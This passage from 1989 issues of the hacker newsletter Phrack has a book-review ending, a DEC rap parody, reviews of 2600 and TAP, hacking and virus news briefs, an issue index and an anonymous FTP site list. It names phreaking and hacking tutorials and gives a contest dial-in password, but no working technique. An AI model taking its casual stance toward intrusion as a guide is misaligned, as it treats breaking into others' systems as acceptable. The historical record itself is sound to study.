Still, nothing can expunge the excitement of the first two‑thirds of "The Cuckoo's Egg," particularly those moments when the author hears his portable beeper going off and bicycles to his lab to read the latest printout of the hacker's activities.

Nothing can relieve our discouragement at the bureaucratic runaround that Stoll got. Had a million dollars worth of damage occurred? the FBI kept asking him.

"Well, not exactly," he would reply. Then there was nothing the FBI could do.

And so it dishearteningly went, although some points should be conceded. Certain individuals in government agencies were extremely helpful to Stoll.

The entire issue of computer‑network security was after all a new and unexplored field. And the agencies that the author was asking for help probably knew more about the security threat than they were willing to tell him.

Finally, nothing can diminish the sense of the strange new world Stoll has evoked in "The Cuckoo's Egg" ‑‑ a world in which trust and open communication will determine the quality of the future. Whether such values will prevail will prove a drama of momentous significance. Even if this book finally dissipates that drama, its very presence makes these pages worth dipping into.

________________________________________

Digital's Hip To The Standards Thing October 10, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

NEW YORK ‑‑ During a creative session at a major public relations firm to formulate a new corporate message for Digital Equipment Corporation that reflects the company's new direction promoting and supporting computing industry standards, the shopworn phrase "Digital has it now" was replaced by a new tag line that is more contemporary and tied to DEC's adherence to standards.

DECrap by Rapmaster Ken "Digital's Hip to the Standards Thing"

I heard some news just the other day It sounded kinda strange and I said, "No way!" But I heard it again from another source It mighta made sense and I said, "Of course!"

Now computer biz has a lotta confusion 'Cause operating systems abound in profusion. But there's a whole new wave in data processing Now that Digital's hip to the standards thing.

(chorus)

Digital's hip to the standards thing! Digital's hip to the standards thing!

Way back when a long time ago IBM owned the whole show. But other dudes saw this proprietary mess And formed committees to find out what's best.

Some went their own way and built their own software But users were perturbed, "It's just a different nightmare." So they got together to look over the picks Put down their money on good 'ol UNIX

(chorus)

Digital's hip to the standards thing! Digital's hip to the standards thing!

Now Digital always kept their users in mind And pushed VMS as the best of the kind. A lotta folks agreed but kept askin' for UNIX support, "We gotta have more!"

Soon DEC saw the light and decided to give UNIX to the masses, (sorta live and let live). So DEC's ridin' the wave ahead of the rest On a backplane boogie board on top of the crest.

No doubt about it DEC's sprouted its wings 'Cause Digital's hip to the standards thing.

(chorus)

Digital's hip to the standards thing! Digital's hip to the standards thing!

________________________________________

Hacker Publications November 12, 1989

~~~~~~~~~~~~~~~~~~~

Here is a general overview of a pair of the more popular hardcopy hacker magazines.

2600 Magazine: The Hacker Quarterly

Volume Six, Number Three

Autumn, 1989

The cover on this issue features a scene from the Galactic Hackers Convention that took place in Amsterdam, Switzerland, last August. Although it is not explicitly stated or implied, it would appear that the comic illustration portrays the hacker "Shatter" being run over by a bus bearing the label "2600 XPRESS."

The articles featured in this issue include:

The Nynex Strike

Grade "A" Hacking: What Is UAPC? by The Plague

Galactic Hacker Party (GHP)

British Telecom's Guilty Conscience

The Death Of COSMOS?

What's Going On

‑ Technological Marvels

o U.S. Sprint Billing Problems

o U.S. Sprint Voicecards

o Other Voiceprints

o Surveillance

‑ Hacker Spies (Chaos Computer Club, KGB Hackers discussed) ‑ Nynex Bigotry (Gay And Lesbian Organizations)

‑ Dial‑It News (Pacific Bell 900 Services)

‑ Payphone Choices (AT&T, Sprint, MCI, AOS)

‑ Overseas Access (AT&T Calls To Vietnam)

‑ News From The U.K.

o Directory Assistance Operators

o British Telecom To Buy Tymnet From McDonnel Douglas o Chat Lines Banned

‑ One Less Choice (The Source and Compuserve)

‑ Privacy? What's That?

o Bulletin Board User Information

o Illegal Aliens Database

o Scotland Yard Database

o Wiretapping

o Bell of Pennsylvania (giving out confidential information) o Personal Smart Card

‑ Hackers In Trouble

o Kevin Mitnick

o Robert Morris

‑ Hacker Fun

o Friday The 13th Virus

o Speed Limit Alterations

o Delray Beach Probation Office

‑ Telco Literature (FON Line Newsletter)

‑ Calling Card Tutorials

‑ Another Telco Ripoff (C&P Telephone)

‑ Technology Marches Back

o French Computer Mixup

o New York Telephone Repairman Sent On Wild Goose Chases ‑ And Finally (Bejing Phone Calls)

The Secrets of 4TEL

Letters

‑ Moblie Telephone Info

‑ A Southern ANI

‑ ROLM Horrors

‑ A Nagging Question (by The Apple Worm)

‑ A Request

‑ Another Request (by THOR <claims the Disk Jockey story was a lie>) ‑ The Call‑Waiting Phone Tap (Alternative Inphormation) ‑ Interesting Numbers (1‑800‑EAT‑SHIT, 800, 900 numbers) ‑ UNIX Hacking (Unix security, hacking, TCP/IP)

‑ Intelligent Payphones

‑ Retarded Payphones

REMOBS by The Infidel

Gee... GTE Telcos by Silent Switchman and Mr. Ed

Voice Mail Hacking... by Aristotle

Punching Pay Phones by Micro Surgeon/West Coast Phreaks

Touch‑Tone Frequencies

2600 Marketplace

Carrier Access Codes

Lair of the INTERNET Worm by Dark OverLord

Timely Telephone Tips (from a Defense Department Phone Book)

There were also plenty of other interesting small articles, pictures, and stories about hackers, telephones, computers and much more. All in all, this is the best issue of 2600 Magazine I have read in several issues (despite the fact that some of the material had appeared in Phrack Inc., LOD/H TJs, and/or Telecom Digest previously). Let's hope they continue to be as good.

Are you interested in 2600 Magazine?

2600 (ISSN 0749‑3851) is published quarterly by 2600 Enterprises Inc., 7 Strong's Lane, NY 11733. Second class postage permit paid at Setauket, New York.

Copyright (c) 1989, 2600 Enterprises, Inc.

Yearly subscriptions: U.S. and Canada ‑‑ $18 individual, $45 corporate. Overseas ‑‑ $30 individual, $65 corporate.

Back issues available for 1984, 1985, 1986, 1987, 1988 at $25 per year, $30 per year overseas.

Address all subscription correspondence to:

2600 Subscription Department

P.O. Box 752

Middle Island, New York 11953‑0752

2600 Office Line: 516‑751‑2600 2600 FAX Line: 516‑751‑2608

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

TAP Magazine

Issue 94

1989

The new TAP Magazine is a smaller publication in comparison to 2600. The "outer" cover of this newsletter was a "warning" from The Predat0r concerning the nature of the material inside. The true or "inner" cover of the newsletter had the following:

The Information You've Requested Of TAP Publishing Society A Unit Of The Technological Advancement Party

Presents...

"...a family of people dedicated to the advancement of home computer systems and electronic technology, the study and duplication of related communication networks and the subsequent utilization of one's own ingenuity in today's fast‑paced world of creative logic."

The articles in this issue of TAP included:

TAP RAP: News From The TAP Staff by Aristotle

Small Tags Protect Big Stores (continued from TAP 93)

Ozone (concerning American Telephone & Telegraph's plans for 1994) Telephone Wires In New York In 1890

Mercury Fulminate by Dark OverLord

How To Hack Stamps

Hoffman Worked To Help All Of Mankind

Police Raid 3 Jefferson Homes In Search For Computer Hackers by Calvin Miller SummerCon '89 by Aristotle (includes a copy of the official SummerCon '89 poster and button, although an error stating that the poster was shown at 1/2 size when in reality, the original was 8 1/2" by 14").

There were a few other interesting "tid bits" of information scattered throughout the four loose pages including the new TAP logo (that was made to resemble CompuTel) and other pictures.

The staff at TAP also included a postcard that contained a reader's survey. It asked all sorts of questions about how the reader liked certain aspects of the publication... I found the idea to be potentially productive in improving the quality of the newsletter all around.

The cost of TAP is rather cheap... it is free. For an issue send a self addressed stamped envelope to:

T.A.P.

P.O. Box 20264

Louisville, Kentucky 40220‑0264

:Knight Lightning

________________________________________

Phrack World News QuickNotes

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

1. 911 Improvement Surcharge in Chicago (October 16, 1989) ‑‑ Monday morning, October 16, Chicago Mayor Richard M. Daley announced that he would submit to the city council a plan to increase city telephone taxes by 95 cents per line per month, earmarked for improvements to 911 service. Currently there is no such flat charge, simply a percentage tax rate on local telephone service.

Daley's spokespeople commented that 911 service here has been a mess for years, and that many of the suburbs charge $1.00 per line per month, so 95 cents should not be unreasonable. There were no details about what is currently wrong or about what specific improvements Daley has in mind.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

2. Hacker Caught by Caller‑ID (October 9, 1989) ‑‑ MIS Week reported the apprehension of a 15‑year old hacker who used his Amiga personal computer to tap into two minicomputers at Grumman. The youngster was from Levittown, Long Island and stumbled into the computer by using a random dialing device attached to his computer. Grumman security was able to detect the intrusions, and the computer's recording of the boy's telephone number led police to his home.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

3. 14‑Year‑Old Cracks TRW Credit For Major Fraud (October 18, 1989) ‑‑ A 14‑year‑old Fresno, California boy obtained secret "access codes" to the files of TRW Credit from a bboard and used them to pose as a company or employer seeking a credit history on an individual whose name he picked randomly from the phone book. From the histories, he obtained credit card numbers which he then used to charge at least $11,000 in mail‑order merchandise (shipped to a rented storeroom) and make false applications for additional cards. He also shared his findings on computer bulletin boards.

Police began investigating when TRW noticed an unusual number of credit check requests coming from a single source, later found to be the youth's home telephone number. The high school freshman, whose name was not released, was arrested at his home last week and later released to his parents. His computer was confiscated and he faces felony charges that amount to theft through the fraudulent use of a computer.

"Here is a 14‑year‑old boy with a $200 computer in his bedroom and now he has shared his data with countless other hackers all over the nation," said Fresno Detective Frank Clark, who investigated the case. "The potential (for abuse of the information) is incredible." Excerpts provided by Jennifer Warren (Los Angeles Times)

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

4. Computer Virus Countermeasures Article (October 25, 1989) ‑‑ Readers of Phrack Inc. might be interested in an interesting article in the October 1989 issue of DEFENSE ELECTRONICS, page 75, entitled "Computer Virus Countermeasures ‑‑ A New Type Of Electronic Warfare," by Dr. Myron L. Cramer and Stephen R. Pratt.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

5. Computer Viruses Attack China (November 6, 1989) ‑‑ The Ministry of Public Safety of People's Republic of China found this summer that one tenth of the computers in China had been contaminated by three types of computer virus: "Small Ball," "Marijuana," and "Shell." The most serious damage was found in the National Statistical System, in which "Small Ball" spread in 21 provinces. In Wuhan University, viruses were found in *ALL* personal computers.

In China, three hundred thousand computers (including personal computers) are in operation. Due to a premature law system the reproduction of software is not regulated, so that computer viruses can easily be propagated. Ministry of Public Safety now provides "vaccines" against them. Fortunately, those viruses did not give fatal damage to data.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

6. More Phone‑Card Fraud (October 31, 1989) ‑‑ Two men were convicted by Tokyo District Court on Monday, October 30, for tampering with Nippon Telephone and Telegraph calling cards to increase the number of calls they could make. The court ruled that they violated the Securities Transaction Law.

One man, Kawai, was sentenced to 30 months in prison, and another, Sakaki, was given an 18‑month suspended sentence.

Two presiding judges ruled that using falsified telephone cards in pay phones is tantamount to using securities.

However, another judge ruled in a separate case last September that tampering with a telephone card does not constitute use of a security, so legal observers say it will be up to the Supreme Court.

According to this most recent s ruling, Kawai changed about 1,600 telephone cards, each good for 500‑yen worth of telephone calls, into cards worth 20,000 yen. He sold the altered cards to acquaintances for as much as 3,500 yen.

Sakaki also sold about 320 tampered cards for about 2 million yen.

One of the presiding judges ruled that using tampered telephone cards on public telephones is the same as misleading Nippon Telegraph and Telephone Corporation into believing the cards ‑‑ false securities ‑‑ were genuine. Taken from The Japan Times

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

7. Computer Virus Hits Japanese Quake Data (October 30, 1989) ‑‑ Tokyo; A computer virus has destroyed information at the University of Tokyo's seismological and ocean research institutes, a university official and local reports said yesterday.

An official of the university's Ocean Reasearch Institute said the virus was detected earlier this month in five of the center's 100 computers, but was believed to have first infected the computers in September.

The virus was found only in personal computers being used by researchers and not major computer systems, the official said, requesting anonymity. He said the damage was not serious.

He declined to discuss further details, but a report by the Japan Broadcasting Corporation said a virus had also been found in the computers at the university's Earthquake Research Institute. Thanks to Associated Press news services. (Related article follows)

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

8. First Virus Attack On Macintoshes In Japan (November 7, 1989) ‑‑ Six Macs in University of Tokyo, Japan, were found to have caught viruses. Since Since this September, Professor K. Tamaki, Ocean Research Institute, University of Tokyo, has noticed malfunctions on the screen. In October, he applied vaccines "Interferon" and "Virus Clinic" to find his four Macintoshes were contaminated by computer viruses, "N Virus" type A and type B. He then found ten softwares were also infected by viruses. A Macintosh of J. Kasahara, Earthquake Research Institute, University of Tokyo, was also found to be contaminated by N Virus and Score Virus. These are the first reports of real viruses in Japan.

Later it was reported that four Macintoshes in Geological Survey of Japan, in Tsukuba, were infected by N Virus Type A. This virus was sent from United States together with an editor.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

9. Hackers Can Tap Into Free Trip (October 1989) ‑‑ Attention Hackers: Here is your chance to break into a computer system and walk away with a grand prize. The "hacker challenge" dares any hacker to retrieve a secret message stored in a KPMG Peat Marwick computer in Atlanta.

This challenge is being sponsored by LeeMah DataCom Security Corporation, a Hayward, California, consulting firm that helps companies boost computer security. The winner gets an all‑expense paid trip for two to either Tahiti or St. Moritz, Switzerland.

Hackers with modems must dial 1‑404‑827‑9584. Then they must type this password: 5336241.

From there, the hacker is on his own to figure out the various access codes and commands needed to retrieve the secret message.

The winner was announced October 24, 1989 at the Federal Computer Show in Washington. Taken from USA Today.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

10. Groaning Phone Network Survives Millions Of Calls (October 18, 1989) ‑The nation's telecommunications network was flooded Tuesday (October 17) night by an estimated 20 million attempted telephone calls from people around the nation concerned about friends and family after the earthquake in the bay area.

Except for brief failures, the system did not break down under the record load in the areas damaged by the earthquake.

AT&T officials said that as many as 140 million long‑distance phone calls were placed Wednesday (October 18), the highest number for a single day in history. Excerpts thanks to John Markoff (New York Times)

>‑‑‑‑‑‑‑‑=====END=====‑‑‑‑‑‑‑‑<

30

- Phrack Inc. XXX Index by Knight Lightning & Taran King

- Network Miscellany III by Taran King

- Hacking & Tymnet by Synthecide

- Hacking VM/CMS by Goe

- The DECWRL Mail Gateway by Dedicated Link

- Decnet Hackola by Hobbit

- VAX/VMS Fake Mail by Jack T. Tab

- Consensual Realities in Cyberspace by Paul Saffo

- The Truth About Lie Detectors by Razor's Edge

- Western Union Telex, TWX, and Time Service by Phone Phanatic

- Phrack World News XXX Part 1 by Knight Lightning

- Phrack World News XXX Part 2 by Knight Lightning

Phrack Inc. XXX Index

==Phrack Inc.==

Volume Three, Issue 30, File #1 of 12

Phrack Inc. Newsletter Issue XXX Index

~~~~~~~~~~~~~~~~~~~~

December 24, 1989

Welcome to Issue 30 of Phrack Inc. We are releasing this just a few short days before the start of a new decade and proud to say that we will continue to bring you more information well into the 1990s.

SummerCon 1990! That's right. Preliminary plans are being made right now, so, starting with this issue, keep your eye on Phrack World News for details! The dates have been decided so mark your calendars!

This issue of Phrack Inc. features a large article by Goe that contains some information about VM/CMS which can, if used properly, be of great use. Also in this issue, Jack T. Tab brings us a VAX/VMS version of the Fakemail program that was featured for Unix in Phrack Inc. Volume Three, Issue 27, File #8. Also, Network Miscellany III, compiled by Taran King, contains a relatively large list of FTP sites that allow anonymous FTP for those of you who have been poking and stabbing around the Internet. These along with all of the rest of the articles should prove to be interesting reading for you!

Do you have access to the Wide Area Networks? Are you on Fidonet? How about UUCP or CompuServe? If so, you can drop a line to us through the networks at the addresses listed below. We'd love to hear from you!

Taran King & Knight Lightning

phrack@netsys.COM

...!netsys!phrack (phrack@netsys.UUCP) phrack%netsys.COM@LLL‑WINKEN.LLNL.GOV phrack%netsys.COM@AMES.ARC.NASA.GOV phrack%netsys.COM@RUTGERS.EDU

________________________________________

Table of Contents:

1. Phrack Inc. XXX Index by Taran King and Knight Lightning

2. Network Miscellany III by Taran King

3. Hacking & Tymnet by Synthecide

4. Hacking VM/CMS by Goe

5. The DECWRL Mail Gateway by Dedicated Link

6. Decnet Hackola : Remote Turist TTY (RTT) by *Hobbit*

7. VAX/VMS Fake Mail by Jack T. Tab

8. Consensual Realities in Cyberspace by Paul Saffo

9. The Truth About Lie Detectors by Razor's Edge

10. Western Union Telex, TWX, and Time Service by Phone Phanatic 11‑12 Phrack World News XXX/Parts 1‑2 by Knight Lightning

Network Miscellany III

==Phrack Inc.==

Volume Three, Issue 30, File #2 of 12

Network Miscellany III

~~~~~~~~~~~~

By Taran King

With Extra Special Thanks To

Dark OverLord

December 24, 1989

CARL

~~~~

The Colorado Alliance of Research Libraries, or CARL, is an on‑line service providing information from its member libraries as well as select information databases. The member libraries include Auraria, CU Health Sciences Center, CU Law Library, Denver Public Library, Denver University, Denver University Law School, Colorado School of Mines, University of Northern Colorado, University of Wyoming, Government Publications, plus about five community colleges, Regis College, Colorado State Publications, State Department of Education, Pikes Peak Library, MARMOT Library System, and Boulder Public Library. The information databases include the following: UnConver ‑‑ Article Access, "Facts," Encyclopedia, Metro Denver Facts, Info Colorado, Boston Library Consortium, Library News, and New Journal Issues.

CARL is available via Telnet at PAC.CARL.ORG (192.54.81.128) and is pretty clear to understand. The Encyclopedia information database, unfortunately, requires a valid username on the system.

COMPUSERVE ACCESS VIA INTERNET

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

You can access CompuServe via Telnet through the gateway/concentrator at CTS.MERIT.EDU (35.1.1.6) by typing "CompuServe" at the "Which Host?" prompt.

CTS.MERIT.EDU (35.1.1.6) is a Cisco terminal server installed primarily for users of the Merit computer network in Michigan. This machine has a bunch of serial lines going in each direction to/from a Merit Secondary Communications Processor (SCP), which is the entity that gives you the "Which Host?" prompt.

Some other of the Merit services (like outbound Telnet from "Which Host?") have been intentionally limited so that they only work within Merit. Part of this is apparently for reasons of accountability and security (no random hackers dialing in and hacking machines in New Zealand) and part is for access control (ports are scarce and services have costs so they try to limit who uses the thing to paying customers).

CompuServe bills connections via this link as if it were via Telenet (which is EXPENSIVE!). It's an X.25 connection somewhere at a decently fast speed.

If you have particular questions about all of the various services that can be accessed through Merit, either through the terminal server at CTS.MERIT.EDU (35.1.1.6), Telneting directly into a Merit SCP or PCP, or via dial‑up access, contact merit_computer_network@UM.CC.UMICH.EDU or INFO@MERIT on Bitnet.

For more details about what can be accessed via CTS.MERIT.EDU, stay tuned to Network Miscellany for part IV in an upcoming issue of Phrack!

DATE AND TIME

~~~~~~~~~~~~~

Here's an interesting little trick. Just in case you are on some system without the ability to report what time it is by a command, connect via Telnet to port 13 of an Internet Unix system. This gives you the time and date and then disconnects. Some example systems of this include RUTGERS.EDU, MICA.BERKELEY.EDU, UCBVAX.BERKELEY.EDU, and PIKES.COLORADO.EDU (example: Telnet RUTGERS.EDU 13).

FTP

~~~

File Transfer Protocol or FTP is a way to transfer data or text files over the Internet from remote sites. The only problem is figuring out where something is that you want to get.

The following is a list of sites accepting anonymous FTP user=anonymous, password=login. It was compiled by Jon Granrose with the help of a number of contributors as well as a couple of lists that had been started. If you have any comments, additions, or corrections, mail them to odin@UCSCB.UCSC.EDU or odin@ucscb.UUCP or 74036.3241@COMPUSERVE.COM.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

System name IP Address Comments

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

a.cs.uiuc.edu 128.174.5.20 TeX, dvi2ps, gif, texx2.7, amiga accuvax.nwu.edu 129.105.49.1 PibTerm 4.1.3 ahwahnee.stanford.edu 36.56.0.208 pcip interface specs ai.toronto.edu 128.100.1.65 SunOS4.0 SLIP beta,

R3 xwebster fixes

albanycs.albany.edu 128.204.1.4 Best of comp.graphics allspice.lcs.mit.edu 18.26.0.115 RFC1056 (PCMAIL) stuff, MIT snmp ames.arc.nasa.gov 128.102.18.3 pcrrn, gnu grep arisia.xerox.com 13.1.100.206 lisp, tcp/ip, IDA sendmail kit arizona.edu 128.196.6.1 Icon, SR, SBProlog languages arthur.cs.purdue.edu 128.10.2.1 RCS, Purdue tech reports athena‑dist.mit.edu 18.71.0.38 Hesiod name server, Kerberos, moira bitsy.mit.edu 18.72.0.3 MIT worm paper brownvm.brown.edu 128.148.128.40 MAC

bu‑cs.bu.edu 128.197.2.1 Telecom

bu‑it.bu.edu 128.197.2.40 Lots of interesting things. bugs.nosc.mil 128.49.0.1 Minix

c.isi.edu 26.3.0.103 info‑ibmpc (Tenex) cadre.dsl.pittsburgh.edu 128.147.128.1 jove for the Mac camelot.berkeley.edu 128.32.149.18 "pmake", yet another parallel make cayuga.cs.rochester.edu 192.5.53.209 Xfig, LaTeX style, Jove,

NL‑KR mail list

celray.cs.yale.edu 128.36.0.25 ispell, dictionary charon.mit.edu 18.80.0.13 perl+patches, xdvi cheddar.cs.wisc.edu 128.105.2.113 Common Lisp stuff, X11 courier fonts cheops.cis.ohio‑state.edu 128.146.8.62 comp.sources.*, alt.sources citi.umich.edu 35.1.128.16 pathalias, (not CITI MacIP), webster clutx.clarkson.edu 128.153.4.3 Turbo C stuff, net kit cmx.npac.syr.edu 128.230.7.8 Lots of stuff cod.nosc.mil 128.49.16.5 birdlist, PCstuff columbia.edu 10.3.0.89 NEST network simulation testbed crocus.waterloo.edu 129.97.128.6 STEVIE (vi‑clone) in /u/grwalter/ftp cs.cmu.edu 128.2.222.173 screen, msdos interrupt list, zoo

in /afs/cs.cmu.edu/user/ralf/pub)

cs.orst.edu 128.193.32.1 Xlisp

cs.rochester.edu 192.5.53.209 See cayuga.cs.rochester.edu cs.utah.edu 128.110.4.21 A Tour of the Worm, amiga forth csc.ti.com 128.247.159.141 Preliminary clx document cunixc.cc.columbia.edu 128.59.40.130 MM mailer, Kermit, CAP/KIP cygnusx1.cs.utk.edu 128.169.201.12 GCC, MM, Scheme dartvax.dartmouth.edu 129.170.16.4 ??

decwrl.dec.com 128.45.1.1 No FTP; gatekeeper.dec.com devvax.tn.cornell.edu 192.35.82.200 tn3270, gated drizzle.cs.uoregon.edu 128.223.4.1 raytracing archive (markv) dsrgsun.ces.cwru.edu 129.22.16.2 Minix, TOS atariST gcc from bammi ecla.usc.edu 26.21.0.65 mg emacs elbereth.rutgers.edu 128.6.4.61 /pub

emx.utexas.edu 128.83.1.33 /net.directory expo.lcs.mit.edu 18.30.0.212 a home of X, portable bitmaps f.ms.uky.edu 128.163.128.6 Lots of interesting things flash.bellcore.com 128.96.32.20 Karn's RFC & IEN coll,

Latest NET bits

ftp.ncsa.uiuc.edu 128.174.20.50 NCSA Telnet source, Mathematica gatekeeper.dec.com 128.45.9.52 X11, recipes, cron, map,

Larry Wall stuff

ghostwheel.andrew.cmu.edu 128.2.35.1 Hershey fonts giza.cis.ohio‑state.edu 128.146.8.61 X11R3, PEX gpu.utcs.toronto.edu 128.100.100.1 Lots of stuff, pd ksh grape.ecs.clarkson.edu 128.153.13.196 Opus BBS, ms‑dos, graphics gregorio.stanford.edu 36.8.0.11 vmtp‑ip, ip‑multicast gtss.gatech.edu 128.61.4.1 amiga rexx stuff hamlet.caltech.edu 192.12.19.3 Nansi (VMS) hanauma.stanford.edu 36.51.0.16 Vplot graphical system him1.cc.umich.edu 35.1.1.43 atari st (cd PC7:) hipl.psych.nyu.edu 128.122.132.2 Jove in pub (v4.9 is latest) hogg.cc.uoregon.edu 128.223.20.5 NorthWestNet site info hotel.cis.ksu.edu 129.130.10.12 XBBS, msdos, U3G toolkit hubcap.clemson.edu 192.5.219.1 GIF files, RFCs husc6.harvard.edu 128.103.1.56 pcip, appleII archives, uumap copy

and soon the parts of the ucb tahoe

tape that are marked not‑at&t

icec.andrew.cmu.edu 128.223.4.1 CMU Tutor, ICEC ics.uci.edu 128.195.0.1 perfect hash function gen., web‑to‑c indri.primate.wisc.edu 128.104.230.11 Macintosh Trans{Skel, Display, Edit} ix1.cc.utexas.edu 128.83.1.21 amiga

ix2.cc.utexas.edu 128.83.1.29 amiga iuvax.cs.indiana.edu 129.79.254.192 unix arc et al j.cc.purdue.edu 128.210.0.3 c.s. {unix, x, amiga}, elm, uupc jpl‑devvax.jpl.nasa.gov 128.149.8.43 perl author june.cs.washington.edu 128.95.1.4 TeXhax, dviapollo, SmallTalk, web2c kampi.hut.fi 128.214.3.9 DES routines (unrestricted) kolvi.hut.fi 128.214.3.7 Ham radio (FINLAND) kuhub.cc.ukans.edu 129.237.1.10 VMS news labrea.stanford.edu 36.8.0.47 dvips, paranoia lambda.lanl.gov 128.165.4.4 Toolpack/1 for math sw in f77 lancaster.andrew.cmu.edu 128.2.13.21 CMU PCIP, RFC1073 telnetd,

RFC1048 bootp

larry.cs.washington.edu 128.95.1.7 Poker

lbl‑csam.arpa 128.3.254.6 See rtsg.ee.lbl.gov linc.cis.upenn.edu 128.91.2.8 psfig for ditroff, TeX llnl‑winken.llnl.gov 128.115.14.1 comp.sources.misc louie.udel.edu 128.175.1.3 net.exe, minix, NORD<>LINK, MH,

amiga

m9‑520‑1.mit.edu 18.80.0.45 Xim (X image viewer) maxwell.physics.purdue.edu 128.46.135.3 /pub/bible.tar.Z mailrus.cc.umich.edu 35.1.1.26 This list, unix arc, apollo stuff megaron.arizona.edu 192.12.69.1 See arizona.edu mimsy.umd.edu 128.8.128.8 declarative languages bib, SLIP monk.proteon.com 128.185.123.16 cc:mail to smtp gateway mordred.cs.purdue.edu 128.10.2.2 X11R3

ncsuvx.ncsu.edu 128.109.153.1 Hack, Moria, Empire, Ogre net1.ucsd.edu 128.54.0.10 macintosh (tenex) nic.mr.net 192.12.250.5 Minnesota Regional Net traffic data nic.ddn.mil 10.0.0.51 RFC, other network info in NETINFO: nis.nsf.net 35.1.1.48 Merit info, NSFnet Link Letter nisc.nyser.net 192.33.4.10 Nysernet, IETF, GOSIP nl.cs.cmu.edu 128.2.222.56 Fuzzy Pixmap 0.84 in /usr/mlm/ftp oddjob.uchicago.edu 128.135.4.2 NNTP, Sendmail, utils,

Ethernet stuff

omnigate.clarkson.edu 128.153.4.2 PS maps of the Domain Name system. parcvax.xerox.com 13.1.100.206 See arisia.xerox.com panarea.usc.edu 128.125.3.54 Archive for "maps" pawl.rpi.edu 128.113.10.2 DVI stuff, Atari ST, vi for dos plains.nodak.edu 192.33.18.50 ASCII pics, /pub/picture po1.andrew.cmu.edu 128.2.11.131 ??

po2.andrew.cmu.edu 128.2.249.105 ?? postgres.berkeley.edu 128.32.149.1 University INGRES, prep.ai.mit.edu 128.52.32.14 GNU, MIT C Scheme, gnu e?grep radio.astro.utoronto.ca 128.100.75.4 UFGATE, msdos, lots rascal.ics.utexas.edu 128.83.144.1 KCL, MAXIMA, GCC‑386,

BoyerMoore prover

relgyro.stanford.edu 36.64.0.50 sunrast‑to‑pc

riacs.edu 128.102.16.8 SLIP

ringo.rutgers.edu 128.6.5.77 Omega sources rtsg.ee.lbl.gov 128.3.254.68 flex sally.cs.utexas.edu Networking stuff sbcs.sunysb.edu 128.48.2.3 sun raster tools scam.berkeley.edu 128.32.138.1 X sources, etc. science.utah.edu 118.110.192.2 TeX things (tenex) score.stanford.edu 36.8.0.46 TexHax, Atari (tenex) sh.cs.net 192.31.103.3 Misc shambhala.berkeley.edu xrn

sics.se 192.16.123.90 Ham radio (SWEDEN) simtel20.arpa 26.0.0.74 See wsmr‑simtel20.army.mil spam.istc.sri.com 128.18.4.3 Gnu, more sphere.mast.ohio‑state.edu 128.146.7.200 phone (with bugs fixed) squid.cs.ucla.edu 128.97.16.28 soc.med.aids sri‑nic.arpa 10.0.0.51 See nic.ddn.mil ssyx.ucsc.edu 128.114.133.1 atari, amiga, gifs sumex.stanford.edu 36.44.0.6 mac archives, Mycin (SUN4), imap sumex‑2060.stanford.edu 36.45.0.87 Old home of mac archives (tenex) sun.cnuce.cnr.it 192.12.192.4 atalk, ka9q sun.soe.clarkson.edu 128.153.12.3 Packet Driver, X11 fonts, TeX surya.waterloo.edu 129.97.129.72 gifs, tiff format, gif2ras stolaf.edu 130.71.128.1 news, anime, bitmaps svax.cs.cornell.edu 128.84.254.2 TransFig, Fig‑FS, NetHack swan.ulowell.edu 129.63.224.1 sendmail, amiga, music, c.s. unix thyme.lcs.mit.edu 18.26.0.94 SUPDUP

titan.rice.edu 128.42.1.30 sun‑spots, amiga ispell tmc.edu 128.249.1.1 FUBBS bbs list topaz.rutgers.edu 128.6.4.194 amiga trantor.harris‑atd.com 26.13.0.98 contool, chuck@%s's tools trantor.umd.edu 128.8.1.14 Network Time Protocol(NTP),

info‑amiga

trwind.ind.trw.com 129.4.16.70 Turbo C src for net.exe tumtum.cs.umd.edu 128.8.129.49 NeWS pd software tut.cis.ohio‑state.edu 128.146.8.60 GNU, lots of interesting things ucbarpa.berkeley.edu 128.32.130.11 tn3270, pub/4.3 ucbvax.berkeley.edu 128.32.149.36 nntp, gnews, awm, empire ucdavis.ucdavis.edu 128.120.2.1 ??

ucsd.edu 128.54.16.1u KA9Q archives, packet driver umn‑cs.cs.umn.edu 128.101.224.1 vectrex, mac, unix‑pc unmvax.unm.edu 129.24.12.128 getmaps,

